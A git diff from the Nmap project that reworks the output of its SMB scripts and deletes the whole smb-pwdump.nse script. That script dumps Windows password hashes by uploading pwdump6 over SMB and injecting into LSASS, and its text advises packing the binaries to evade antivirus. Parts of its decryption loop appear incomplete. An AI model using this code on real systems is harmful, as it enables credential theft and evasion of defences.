--- | | Internet Address Physical Address Type
--- | |_ 192.168.1.100 00-21-9b-e5-78-ea dynamic
--- |_
+-- | smb-psexec:
+-- | | Windows version
+-- | | |_ Microsoft Windows 2000 [Version 5.00.2195]
+-- | | IP Address and MAC Address from 'ipconfig.exe'
+-- | | | Ethernet adapter Local Area Connection 2:
+-- | | | MAC Address: 00:50:56:A1:24:C2
+-- | | | IP Address: 10.0.0.30
+-- | | | Ethernet adapter Local Area Connection:
+-- | | |_ MAC Address: 00:50:56:A1:00:65
+-- | | User list from 'net user'
+-- | | | Administrator TestUser3 Guest
+-- | | | IUSR_RON-WIN2K-TEST IWAM_RON-WIN2K-TEST nmap
+-- | | | rontest123 sshd SvcCOPSSH
+-- | | |_ test1234 Testing TsInternetUser
+-- | | Membership of 'administrators' from 'net localgroup administrators'
+-- | | | Administrator
+-- | | | SvcCOPSSH
+-- | | | test1234
+-- | | |_ Testing
+-- | | Can the host ping our address?
+-- | | | Pinging 10.0.0.138 with 32 bytes of data:
+-- | | |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
+-- | | Traceroute back to the scanner
+-- | | |_ 1 <10 ms <10 ms <10 ms 10.0.0.138
+-- | | ARP Cache from arp.exe
+-- | | | Internet Address Physical Address Type
+-- | | |_ 10.0.0.138 00-50-56-a1-27-4b dynamic
+-- | | List of listening and established connections (netstat -an)
+-- | | | Proto Local Address Foreign Address State
+-- | | | TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
+-- | | | TCP 0.0.0.0:4933 0.0.0.0:0 LISTENING
+-- | | | TCP 10.0.0.30:139 0.0.0.0:0 LISTENING
+-- | | | TCP 127.0.0.1:2528 127.0.0.1:2529 ESTABLISHED
+-- | | | TCP 127.0.0.1:2529 127.0.0.1:2528 ESTABLISHED
+-- | | | TCP 127.0.0.1:2531 127.0.0.1:2532 ESTABLISHED
+-- | | | TCP 127.0.0.1:2532 127.0.0.1:2531 ESTABLISHED
+-- | | | TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
+-- | | | TCP 127.0.0.1:5152 127.0.0.1:2530 CLOSE_WAIT
+-- | | | UDP 0.0.0.0:135 *:*
+-- | | | UDP 0.0.0.0:445 *:*
+-- | | | UDP 0.0.0.0:1030 *:*
+-- | | | UDP 0.0.0.0:3456 *:*
+-- | | | UDP 10.0.0.30:137 *:*
+-- | | | UDP 10.0.0.30:138 *:*
+-- | | | UDP 10.0.0.30:500 *:*
+-- | | | UDP 10.0.0.30:4500 *:*
+-- | | |_ UDP 127.0.0.1:1026 *:*
+-- | | Full routing table from 'netstat -nr'
+-- | | | ===========================================================================
+-- | | | Interface List
+-- | | | 0x1 ........................... MS TCP Loopback interface
+-- | | | 0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
+-- | | | 0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
+-- | | | ===========================================================================
+-- | | | ===========================================================================
+-- | | | Active Routes:
+-- | | | Network Destination Netmask Gateway Interface Metric
+-- | | | 10.0.0.0 255.255.255.0 10.0.0.30 10.0.0.30 1
+-- | | | 10.0.0.30 255.255.255.255 127.0.0.1 127.0.0.1 1
+-- | | | 10.255.255.255 255.255.255.255 10.0.0.30 10.0.0.30 1
+-- | | | 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
+-- | | | 224.0.0.0 224.0.0.0 10.0.0.30 10.0.0.30 1
+-- | | | 255.255.255.255 255.255.255.255 10.0.0.30 2 1
+-- | | | ===========================================================================
+-- | | | Persistent Routes:
+-- | | | None
+-- |_ |_ |_ Route Table
--
--@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec.
--@args nohide Don't set the uploaded files to hidden/system/etc.
@@ -742,7 +792,8 @@ local function get_config(host)
if(#missing_args > 0) then
enabled = false
mod.disabled_message = {}
- table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given. Please add --script-args=[arg]=[value] to your commandline to run this module", stdnse.strjoin("', '", missing_args)))
+ table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given.", stdnse.strjoin("', '", missing_args)))
+ table.insert(mod.disabled_message, string.format("Please add --script-args=[arg]=[value] to your commandline to run this module"))
if(#missing_args == 1) then
table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123", missing_args[1]))
else
@@ -763,6 +814,7 @@ local function get_config(host)
if(mod.url) then
stdnse.print_debug(1, "You can try getting it from: %s", mod.url)
table.insert(mod.disabled_message, string.format("You can try getting it from: %s", mod.url))
+ table.insert(mod.disabled_message, "And placing it in Nmap's nselib/data/psexec/ directory")
end
else
-- We found it
@@ -1189,7 +1241,7 @@ local function parse_output(config, data)
-- If we're including it, do the replacements
if(include) then
line = do_replacements(mod, line)
- table.insert(result['lines'], line)
+ table.insert(result, line)
end
end
end
@@ -1207,7 +1259,10 @@ local function parse_output(config, data)
if(type(mod.disabled_message) == 'string') then
mod.disabled_message = {mod.disabled_message}
end
- result['lines'] = mod.disabled_message
+
+ for _, message in ipairs(mod.disabled_message) do
+ table.insert(result, "WARNING: " .. message)
+ end
table.insert(results, result)
end
@@ -1215,31 +1270,7 @@ local function parse_output(config, data)
return true, results
end
----Convert the array generated by parse_output into something a little friendlier.
-local function results_to_string(results)
- local response = " \n"
-
- for _, mod in ipairs(results) do
- response = response .. string.format("%s\n", mod.name)
-
- for i = 1, #mod.lines, 1 do
- if(i < #mod.lines) then
- response = response .. string.format("| %s\n", mod.lines[i])
- else
- response = response .. string.format("|_%s\n", mod.lines[i])
- response = response .. " \n"
- end
- end
- end
-
- if(response == " \n") then
- return ""
- end
-
- return response
-end
-
-function go(host)
+action = function(host)
local status, result, err
local key
@@ -1253,7 +1284,7 @@ function go(host)
-- Parse the configuration file
status, config = get_config(host)
if(not(status)) then
- return false, config
+ return stdnse.format_output(false, config)
end
if(#config.enabled_modules > 0) then
@@ -1262,55 +1293,57 @@ function go(host)
-- If the user just wanted a cleanup, do it
if(nmap.registry.args.cleanup == '1' or nmap.registry.args.cleanup == 'true') then
- return true, "Cleanup complete"
+ return stdnse.format_output(true, "Cleanup complete.")
end
-- Check if any of the files exist
status, result, files = smb.files_exist(host, config.share, config.all_files, {})
if(not(status)) then
- return false, "Couldn't log in to check for remote files: " .. result
+ return stdnse.format_output(false, "Couldn't log in to check for remote files: " .. result)
end
if(result > 0) then
- return false, "One or more output files already exist on the host, and couldn't be removed. Try:\n" ..
- " * Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might hlep),\n" ..
- " * Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,\n" ..
- " * Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or\n" ..
- " * Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")"
+ local response = {}
+ table.insert(response, "One or more output files already exist on the host, and couldn't be removed. Try:")
+ table.insert(response, "* Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might help),")
+ table.insert(response, "* Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,")
+ table.insert(response, "* Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or")
+ table.insert(response, "* Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")")
+ return stdnse.format_output(false, response)
end
-- Upload the modules
status, err = upload_everything(host, config)
if(not(status)) then
cleanup(host, config)
- return false, err
+ return stdnse.format_output(false, err)
end
-- Create the service
status, err = create_service(host, config)
if(not(status)) then
cleanup(host, config)
- return false, err
+ return stdnse.format_output(false, err)
end
-- Get the table of parameters to pass to the service when we start it
status, params = get_params(config)
if(not(status)) then
cleanup(host, config)
- return false, params
+ return stdnse.format_output(false, params)
end
-- Start the service
status, params = start_service(host, config, params)
if(not(status)) then
cleanup(host, config)
- return false, params
+ return stdnse.format_output(false, params)
end
-- Get the result
status, result = get_output_file(host, config, config.share)
if(not(status)) then
cleanup(host, config)
- return false, result
+ return stdnse.format_output(false, result)
end
-- Do a final cleanup
@@ -1321,40 +1354,21 @@ function go(host)
end
-- Build the output into a nice table
- status, results = parse_output(config, result)
+ status, response = parse_output(config, result)
if(status == false) then
- return false, "Couldn't parse output: " .. results
+ return stdnse.format_output(false, "Couldn't parse output: " .. results)
end
- -- Parse the results into a pretty string
- response = results_to_string(results)
-
-- Add a warning if nothing was enabled
if(#config.enabled_modules == 0) then
if(#response == 0) then
- response = "No modules were enabled! Please check your configuration file."
+ response = {"No modules were enabled! Please check your configuration file."}
else
- response = response .. "\n\nNo modules were enabled! Please fix any errors displayed above, or check your configuration file."
+ table.insert(response, "No modules were enabled! Please fix any errors displayed above, or check your configuration file.")
end
end
-- Return the string
- return true, response
+ return stdnse.format_output(true, response)
end
-action = function(host)
-
- local status, result = go(host)
-
- if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. result
- else
- return nil
- end
- end
-
- return result
-end
-
-
diff --git a/scripts/smb-pwdump.nse b/scripts/smb-pwdump.nse
deleted file mode 100644
index 3f6c2ab73..000000000
--- a/scripts/smb-pwdump.nse
+++ /dev/null
@@ -1,536 +0,0 @@
-description = [[
-This script implements the functionality found in pwdump.exe, written by the Foofus group.
-Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
-password hashes for a remote machine. This currently works against Windows 2000 and Windows
-2003.
-
-To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
-downloaded. These can be found at , and version 1.6 has been
-tested. Those two files should be placed in nmap's nselib data directory, .../nselib/data/.
-Note that these files will likely trigger antivirus software -- if you want to get around that,
-I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
-Another possible way around antivirus software is to change the filenames (especially on the remote
-system -- triggering antivirus on the remote system can land you with some questions to answer). To do
-that, simply change the FILE* constants in smb-pwdump.nse.
-
-The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
-isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
-and can be used in place of a password to log into systems (this technique is called "passing the
-hash", and can be done in Nmap by using the smbhash argument instead of
-smbpassword -- see smbauth.lua for more information.
-
-In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
-fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
-hashes without smb-pwdump.nse's help, I suggest setting the strict parameter to '1', which
-tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
-Nmap adds). Alternatively, you can tell the script to crack the passwords using the rtable
-argument. For example:
-nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt
-
-This assumes that 'rcrack' is installed in a standard place -- if not, the rcrack parameter
-can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
-directory.
-
-This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
-to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
-(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
-runs, and sends back the data. Once the service is finished, the script will stop the service and
-delete the files.
-
-Obviously, this script is highly intrusive (and requires administrative privileges).
-It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
-and the service injects itself into the LSASS process to collect the needed information.
-That being said, extra effort was focused on cleaning up. Unless something really bad happens
-(which is always possible with a script like this), the service will be removed and the files
-deleted.
-
-Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
-I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
-and higher won't ever work, because they disable the SVCCTL process.
-
-This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
-It complements the smb-brute.nse script because smb-brute can find weak administrator
-passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
-to the password list for more brute forcing.
-
-Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
-disclaimer applies -- use this responsibly, and especially don't break any laws with it.
-
-]]
-
----
--- @usage
--- nmap --script smb-pwdump.nse --script-args=smbuser=,smbpass= -p445
--- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=,smbpass= -p U:137,T:139
---
--- @output
--- | smb-test:
--- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
--- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
--- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
--- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
--- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
---
--- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
--- directories searched by Lua (the $PATH variable, most likely)
--- @args rtable Set the path to the Rainbow Tables; for example, /tmp/rainbow/*.rt.
--- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
--- except for the leading pipe.
------------------------------------------------------------------------
-
-author = "Ron Bowes"
-copyright = "Ron Bowes"
-license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
-categories = {"intrusive"}
-
-require 'msrpc'
-require 'smb'
-require 'stdnse'
-
-local SERVICE = "nmap-pwdump-"
-local PIPE = "nmap-pipe-"
-
-local FILE1 = "nselib/data/lsremora.dll"
-local FILENAME1 = "lsremora.dll"
-
-local FILE2 = "nselib/data/servpw.exe"
-local FILENAME2 = "servpw.exe"
-
-
-hostrule = function(host)
- return smb.get_port(host) ~= nil
-end
-
----Stop/delete the service and delete the service file. This can be used alone to clean up the
--- pwdump stuff, if this crashes.
---
---@param host The host object.
---@param share The share to clean up on.
---@param path The local path to the share.
---@param service_name The name to use for the service.
-function cleanup(host, share, path, service_name)
- local status, err
-
- stdnse.print_debug(1, "Entering cleanup('%s', '%s', '%s') -- errors here can generally be ignored", share, path, service_name)
- -- Try stopping the service
- status, err = msrpc.service_stop(host, SERVICE .. service_name)
- if(status == false) then
- stdnse.print_debug(1, "Couldn't stop service: %s", err)
- end
-
- -- Try deleting the service
- status, err = msrpc.service_delete(host, SERVICE .. service_name)
- if(status == false) then
- stdnse.print_debug(1, "Couldn't delete service: %s", err)
- end
-
- -- Delete the files
- status, err = smb.file_delete(host, share, "\\" .. FILENAME1)
- if(status == false) then
- stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
- end
-
- status, err = smb.file_delete(host, share, "\\" .. FILENAME2)
- if(status == false) then
- stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
- end
-
- stdnse.print_debug(1, "Leaving cleanup()")
-
- return true
-end
-
-
-function upload_files(host, share)
- local status, err
-
- status, err = smb.file_upload(host, FILE1, share, "\\" .. FILENAME1)
- if(status == false) then
- cleanup(host)
- return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
- end
-
- status, err = smb.file_upload(host, FILE2, share, "\\" .. FILENAME2)
- if(status == false) then
- cleanup(host)
- return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
- end
-
- return true
-end
-
-function read_and_decrypt(host, key, pipe)
- local status, smbstate
- local results = {}
-
- -- Create the SMB session
- status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
- if(status == false) then
- return false, smbstate
- end
-
- local i = 1
- repeat
- local status, wait_result, create_result, read_result, close_result
- results[i] = {}
-
- -- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
- -- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
-
- local j = 1
- repeat
- status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
- if(status ~= false) then
- break
- end
-
- j = j + 1
- -- Wait 50ms, if there's a time when we get an actual sleep()-style function.
- stdnse.sleep(.05)
- until status == true
-
- if(j == 10) then
- smbstop(smbstate)
- return false, "WaitForNamedPipe() failed, service may not have been created properly."
- end
-
- -- Get a handle to the pipe
- local overrides = {}
- status, create_result = smb.create_file(smbstate, "\\" .. pipe, overrides)
- if(status == false) then
- smb.stop(smbstate)
- return false, create_result
- end
-
- status, read_result = smb.read_file(smbstate, 0, 1000)
- if(status == false) then
- -- TODO: Figure out how to handle errors better
- return false, read_result
- else
- local data = read_result['data']
- local code = string.byte(string.sub(data, 1, 1))
- if(code == 0) then
- break
- elseif(code == 2) then
- local cUserBlocks = string.byte(string.sub(data, 3, 3))
- local userblock = ""
- for j = 0, cUserBlocks, 1 do
- local _, a, b = bin.unpack("II", a, b)
- local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
- _, a, b = bin.unpack("II", a, b)
- end
-
- local password_block = ""
- for j = 0, 3, 1 do
- local _, a, b = bin.unpack("II", a, b)
- local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
- _, a, b = bin.unpack("II", a, b)
- end
-
- _, results[i]['username'] = bin.unpack("z", userblock)
- _, results[i]['ntlm'] = bin.unpack("H16", password_block)
- _, results[i]['lm'] = bin.unpack("H16", password_block, 17)
-
- if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
- results[i]['lm'] = "NO PASSWORD*********************"
- end
-
- if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
- results[i]['ntlm'] = "NO PASSWORD*********************"
- end
- else
- stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
- end
- end
-
- status, close_result = smb.close_file(smbstate)
- if(status == false) then
- smb.stop(smbstate)
- return false, close_result
- end
- i = i + 1
- until(1 == 2)
-
- smb.stop(smbstate)
-
- return true, results
-end
-
--- TODO: Check for OpenSSL
-function go(host)
- local status, err
- local results
- local key
-
- local key = ""
- local i
-
- local result
- local service_name
- local share, path
-
- result, service_name = smb.get_uniqueish_name(host)
- if(result == false) then
- return false, string.format("Error generating service name: %s", service_name)
- end
- stdnse.print_debug("pwdump: Generated static service name: %s", service_name)
-
- -- Try and find a share to use.
- result, share, path = smb.share_find_writable(host)
- if(result == false) then
- return false, string.format("Couldn't find a writable share: %s", share)
- end
- if(path == nil) then
- return false, string.format("Couldn't find path to writable share (we probably don't have admin access): '%s'", share)
- end
- stdnse.print_debug(1, "pwdump: Found usable share %s (%s)", share, path)
-
- -- Start by cleaning up, just in case.
- cleanup(host, share, path, service_name)
-
- -- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
- -- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
- -- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
- -- without error, but eh? Debugging is easier when you can type the key in)
- local key_bytes = openssl.rand_bytes(16)
- for i = 1, 16, 1 do
- key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
- end
-
- -- Upload the files
- status, err = upload_files(host, share)
- if(status == false) then
- stdnse.print_debug(1, "Couldn't upload the files: %s", err)
- cleanup(host, share, path, service_name)
- return false, string.format("Couldn't upload the files: %s", err)
- end
-
- -- Create the service
- status, err = msrpc.service_create(host, SERVICE .. service_name, path .. "\\servpw.exe")
- if(status == false) then
- stdnse.print_debug(1, "Couldn't create the service: %s", err)
- cleanup(host, share, path, service_name)
-
- return false, string.format("Couldn't create the service on the remote machine: %s", err)
- end
-
- -- Start the service
- status, err = msrpc.service_start(host, SERVICE .. service_name, {PIPE .. service_name, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
- if(status == false) then
- stdnse.print_debug(1, "Couldn't start the service: %s", err)
- cleanup(host, share, path, service_name)
-
- return false, string.format("Couldn't start the service on the remote machine: %s", err)
- end
-
- -- Read the data
- status, results = read_and_decrypt(host, key, PIPE .. service_name)
- if(status == false) then
- stdnse.print_debug(1, "Error reading data from remote service")
- cleanup(host, share, path, service_name)
-
- return false, string.format("Failed to read password data from the remote service: %s", err)
- end
-
- -- Clean up what we did
- cleanup(host, share, path, service_name)
-
- return true, results
-end
-
----Converts an array of accounts to a pwdump-like representation.
---@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
---@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
---@return A string in the standard pwdump format.
-function accounts_to_pwdump(accounts, strict)
- local str = ""
-
- for i=1, #accounts, 1 do
- if(accounts[i]['username'] ~= nil) then
- if(strict) then
- str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
- else
- if(accounts[i]['password']) then
- str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
- else
- str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
- end
- end
- end
- end
-
- return str
-end
-
-
----Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
--- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
-function rainbow(accounts, rcrack, rtable)
- local pwdump = accounts_to_pwdump(accounts, true)
- local pwdump_file = os.tmpname()
- local file
- local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
-
- -- Print a warning if 'charset.txt' isn't present
- file = io.open("charset.txt", "r")
- if(file == nil) then
- stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
- else
- io.close(file)
- end
-
- -- Create the pwdump file
- stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
- file, err = io.open(pwdump_file, "w")
- if(file == nil) then
- return false, err
- end
- file:write(pwdump)
- file:close()
-
- -- Start up rcrack
- stdnse.print_debug(1, "Starting rcrack (%s)", command)
- file, err = io.popen(command, "r")
- if(file == nil) then
- return false, err
- end
-
- for line in file:lines() do
- stdnse.print_debug(2, "RCRACK: %s\n", line)
- if(string.find(line, "hex:") ~= nil) then
- local start_hex1 = 0
- local start_hex2 = 0
- local hex1, hex2
- local ascii1, ascii2
- local password
- local i
-
- -- First, find the last place in the string that starts with "hex:"
- repeat
- local _, pos = string.find(line, " hex:", start_hex1)
- if(pos ~= nil) then
- start_hex1 = pos + 1
- end
- until pos == nil
-
- -- Get the first part of the hex
- if(string.sub(line, start_hex1, start_hex1 + 9) == "") then
- -- If it wasn't found, then set it as such and go to after the "not found" part
- ascii1 = ""
- start_hex2 = start_hex1 + 10
- else
- -- If it was found, convert to ascii
- ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
- start_hex2 = start_hex1 + 14
- end
-
- -- Get the second part of the hex
- if(string.sub(line, start_hex2) == "") then
- ascii2 = ""
- elseif(string.sub(line, start_hex2, start_hex2 + 9) == "") then
- -- It wasn't found
- ascii2 = ""
- else
- -- It was found, convert to ascii
- ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
- end
-
- -- Join the two halves of the password together
- password = ascii1 .. ascii2
-
- -- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
- i = string.find(line, " +" .. password)
-
- username = string.sub(line, 1, i - 1)
-
- -- Finally, find the username in the account table and add our entry
- for i=1, #accounts, 1 do
- if(accounts[i]['username'] ~= nil) then
- if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
- accounts[i]['password'] = password
- end
- end
- end
- end
- end
-
- -- Close the process handle
- file:close()
-
- -- Remove the pwdump file
- os.remove(pwdump_file)
-
- return true, accounts
-end
-
-action = function(host)
-
- local status, results
- local response = " \n"
- local rcrack = "rcrack"
- local rtable = nil
-
- -- Check if we have the necessary files
- if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
- local err = " \n"
- err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
- if(nmap.fetchfile(FILE1) == nil) then
- err = err .. "- " .. FILE1 .. "\n"
- end
- if(nmap.fetchfile(FILE2) == nil) then
- err = err .. "- " .. FILE2 .. "\n"
- end
- err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
- err = err .. string.format("")
-
- return err
- end
-
- status, results = go(host)
-
- if(status == false) then
- return "ERROR: " .. results
- end
-
- -- Only try cracking if strict is turned off
- if(nmap.registry.args.strict == nil) then
- -- Override the rcrack program
- if(nmap.registry.args.rcrack ~= nil) then
- rcrack = nmap.registry.args.rcrack
- end
-
- -- Check if a table was passed
- if(nmap.registry.args.rtable ~= nil) then
- rtable = nmap.registry.args.rtable
- end
-
- -- Check a spelling mistake that I keep making
- if(nmap.registry.args.rtables ~= nil) then
- rtable = nmap.registry.args.rtables
- end
-
- -- Check if we actually got a table
- if(rtable ~= nil) then
- status, crack_results = rainbow(results, rcrack, rtable)
- if(status == false) then
- response = "ERROR cracking: " .. crack_results .. "\n"
- else
- results = crack_results
- end
- end
-
- response = response .. accounts_to_pwdump(results, false)
- else
- response = response .. accounts_to_pwdump(results, true)
- end
-
- return response
-end
-
-
diff --git a/scripts/smb-security-mode.nse b/scripts/smb-security-mode.nse
index 87ffddbbe..951daf9b7 100644
--- a/scripts/smb-security-mode.nse
+++ b/scripts/smb-security-mode.nse
@@ -18,19 +18,18 @@ set the username and password, etc.), but it probably won't ever require them.
-- sudo nmap -sU -sS --script smb-security-mode.nse -p U:137,T:139 127.0.0.1
--
--@output
--- | smb-security-mode: User-level authentication
--- | smb-security-mode: Challenge/response passwords supported
--- |_ smb-security-mode: Message signing supported
+-- Host script results:
+-- | smb-security-mode:
+-- | | Account that was used for smb scripts: administrator
+-- | | User-level authentication
+-- | | SMB Security: Challenge/response passwords supported
+-- |_ |_ Message signing disabled (dangerous, but default)
-----------------------------------------------------------------------
author = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
--- Set the runlevel to above 1 to ensure this runs after the bulk of the scripts. That lets us more effectively
--- find out which account we've been using.
-runlevel = 1.01
-
require 'smb'
require 'stdnse'
@@ -48,58 +47,49 @@ action = function(host)
status, state = smb.start(host)
if(status == false) then
- if(nmap.debugging() > 0) then
- return "ERROR: " .. state
- else
- return nil
- end
+ return stdnse.format_output(false, state)
end
status, err = smb.negotiate_protocol(state, overrides)
-
if(status == false) then
smb.stop(state)
- if(nmap.debugging() > 0) then
- return "ERROR: " .. err
- else
- return nil
- end
+ return stdnse.format_output(false, err)
end
local security_mode = state['security_mode']
- local response = ""
+ local response = {}
local result, username, domain = smb.get_account(host)
if(result ~= false) then
- response = string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, ''))
+ table.insert(response, string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '')))
end
-- User-level authentication or share-level authentication
- if(bit.band(security_mode, 1) == 1) then
- response = response .. "User-level authentication\n"
- else
- response = response .. " Share-level authentication\n"
- end
+ if(bit.band(security_mode, 1) == 1) then
+ table.insert(response, "User-level authentication")
+ else
+ table.insert(response, "Share-level authentication (dangerous)")
+ end
- -- Challenge/response supported?
- if(bit.band(security_mode, 2) == 0) then
- response = response .. "SMB Security: Plaintext only\n"
- else
- response = response .. "SMB Security: Challenge/response passwords supported\n"
- end
+ -- Challenge/response supported?
+ if(bit.band(security_mode, 2) == 0) then
+ table.insert(response, "Plaintext passwords required (dangerous)")
+ else
+ table.insert(response, "SMB Security: Challenge/response passwords supported")
+ end
- -- Message signing supported/required?
- if(bit.band(security_mode, 8) == 8) then
- response = response .. "SMB Security: Message signing required\n"
- elseif(bit.band(security_mode, 4) == 4) then
- response = response .. "SMB Security: Message signing supported\n"
- else
- response = response .. "SMB Security: Message signing not supported\n"
- end
+ -- Message signing supported/required?
+ if(bit.band(security_mode, 8) == 8) then
+ table.insert(response, "Message signing required")
+ elseif(bit.band(security_mode, 4) == 4) then
+ table.insert(response, "Message signing supported")
+ else
+ table.insert(response, "Message signing disabled (dangerous, but default)")
+ end
smb.stop(state)
- return response
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/smb-server-stats.nse b/scripts/smb-server-stats.nse
index bb802272c..2393bb479 100644
--- a/scripts/smb-server-stats.nse
+++ b/scripts/smb-server-stats.nse
@@ -21,9 +21,9 @@ up to version 1.0.3 (and possibly higher).
-- @output
-- Host script results:
-- | smb-server-stats:
--- | Server statistics collected since 2008-12-12 14:53:27 (89d17h37m48s):
--- | |_ 22884718 bytes (2.95 b/s) sent, 28082489 bytes (3.62 b/s) received
--- |_ |_ 5759 failed logins, 16 permission errors, 0 system errors, 0 print jobs, 1273 files opened
+-- | | Server statistics collected since 2009-09-22 09:56:00 (48d5h53m36s):
+-- | | | 6513655 bytes (1.56 b/s) sent, 40075383 bytes (9.61 b/s) received
+-- |_ |_ |_ 19323 failed logins, 179 permission errors, 0 system errors, 0 print jobs, 2921 files opened
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -42,23 +42,21 @@ end
action = function(host)
local result, stats
- local response = " \n"
+ local response = {}
+ local subresponse = {}
